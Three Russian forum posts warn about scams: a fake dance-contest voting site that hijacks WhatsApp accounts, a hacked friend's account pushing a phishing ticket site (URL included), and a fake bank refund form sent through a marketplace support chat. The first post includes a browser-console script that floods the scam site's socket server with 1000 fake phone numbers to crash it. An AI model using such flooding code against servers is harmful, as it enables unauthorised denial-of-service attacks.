Простой
Сегодня в час ночи пришло сообщение от знакомой о том что нужно проголосовать за ребенка который занимается танцами,
https://danc#echam#pionship#russ#ia.ru/login/number146
везде поставлены знаки # для того чтобы вы не перешли на сайт случайно
на странице https://dancech#amp#ionshipr#ussia.ru/home/vote146 голосования мы видим -
это уже интересно то есть картинки взяты из других источников - уж подозрительно
и финалочка - нужно авторизоваться через ватсап !!!)))) отлично - посмотрим
имеется форма - не форма с номером телефона ,
но данные вроде как не отправляются - (на самом деле еще как отправляются )
это мы найдем в разделе
f12 ->network ->ws
для наказания уродов потребуется в браузере ввести в консоль
socket = io("/", {
path: "/socket.io",
query: "type=number"
});
for (let i = 0; i < 1000; i++) {
socket.emit("start_number", {number: "8"+Math.floor(Math.random() * 1000000000)})
}
тут мы соединяемся с сокетом - способом передачи данных для этого сайта
и в цикле отправляем 1000 сообщений о типа введённом номере, на 8-10 раз
их сервер - который занимается процессом угона ватсапов - упал ))))
публикую анонимно - так хоть обо мне только модеры будут знать , надеюсь
всем доброй ночи )
Работа принесла мне очень много друзей и знакомых. Написала мне сегодня подруга, которая у нас училась и работала, а потом перебралась в Москву и доросла до собственного обжарочнокофейного производства.

Последняя рабочая неделя, ну вот реально совсем тяжело со временем. Но мы давно не виделись, почему бы не сходить? Тем более, есть варианты.

Ну, в принципе, почему нет? Если может себе позволить метнуться в Питер... Хотя вот тут червячок сомнения шевельнулся, но я этого ещё не поняла...


Билет 2490 руб.
Не знаю, сколько стоят билеты на такие мероприятия, но что-то я не готова столько тратить на то, от чего не фанатею. Да и к концу года свободных денег не то чтобы очень.
Говорю Нике об этом, получаю в ответ, мол, я докину сколько надо, а в цену билета ещё входит открытый бар, то есть еда и напитки будут бесплатные.
Ладно, думаю, один раз живём. В конце концов, действительно, сто лет не виделись, посидим, поедим, посмеёмся, пообщаемся.
Захожу на сайт, выбираю места, перехожу к форме оплаты (как обычно, номер карты, срок действия, код), и тут что-то меня дёрнуло спросить.

И всё стало ясно. Ника бы назвала фамилию сразу. Так что в этот момент я уже пишу настоящей Нике в телеграм и дублирую в инст, что её взломали.

А мошенники прошаренные.

Ребята посмотрели ВК страничку места моей работы, увидели человека, который в группе значится как директор, и написали фамилию. Только вот это девичья фамилия. Да и спрашивала я фамилию начальника, а не начальницы. Ника бы сразу ответила верно.
На всякий случай адрес фишингового сайта: https://standup-premier.me/?a=B00king
Поискала в сети -- только по точному запросу, в кавычках, находит два сайта, где он отмечен как мошеннический. Простой поиск выдает только тучу сайтов про стендап.

PS: Не думала, что когда-то ещё напишу в это сообщество )))
PPS: страничку разморозили, из лап злоумышленников вырвали, знакомых о разводе предупредили.
Доброго времени суток.
Сейчас время распродаж во многих магазинах и маркетплейсах, многие спешат закупиться на скидках 11.1, но к сожалению активизировались и мошенники с новыми способами. На один из них, наверное=), чуть не попался и я. Данный пост пишу чтобы предостеречь остальных. Опишу ситуацию как можно подробнее, будет много букв и скриншотов...
Вчера сделал заказ на распродаже в сбермаркете.

Немного смутила доставка продавца, но почитав информацию о продавце - нашел информацию в налоговой что он действительно торгует через интернет, отзывы в интернете о доставке от продавца, о том что сбермегамаркет не перечисляет продавцу деньги сразу - решил сделать заказ.


Сегодня (14 ноября, то есть на следующий день после заказа на сбермаркете) пришло смс, что все хорошо - продавец подтвердил заказ, ему присвоен номер аж 9334! И со мной скоро свяжется продавец и курьер для согласования даты и времени доставки.

Буквально через час после этого статус заказа в личном кабинете сбермегамаркета меняется на получен, это при том что заказ только вчера вечером был сделан! Я конечно же сразу же составил обращение в службу поддержки

И тут началось самое интересное! Продавец мне скидывает ссылку на фишинговый сайт якобы сбербанка, с "формой возврата средств". И это все происходит в чате обращения сбермегамаркета! Многие могут воспринять данную "форму" за чистую монету, ведь это "защищённый" канал с технической поддержкой.


После обращения на горячую линию сбермегамаркета по телефону к обращению подключили сотрудника сбермегамаркета, а девушка заверила что мы обязательно привезём вам товар или вернём деньги

После этого я дополнительно обратился в службу поддержки сбербанка но к сожалению мне попался оператор-бот которому пох... и на репутацию банка и на защиту клиентов от мошенников




Поэтому решил опубликовать данный пост тут и прошу его поднять в горячее - что бы как можно больше людей его прочитало, и как можно меньше повелось на данную "форму возврата денег" в защищённом канале техподдержки магазина...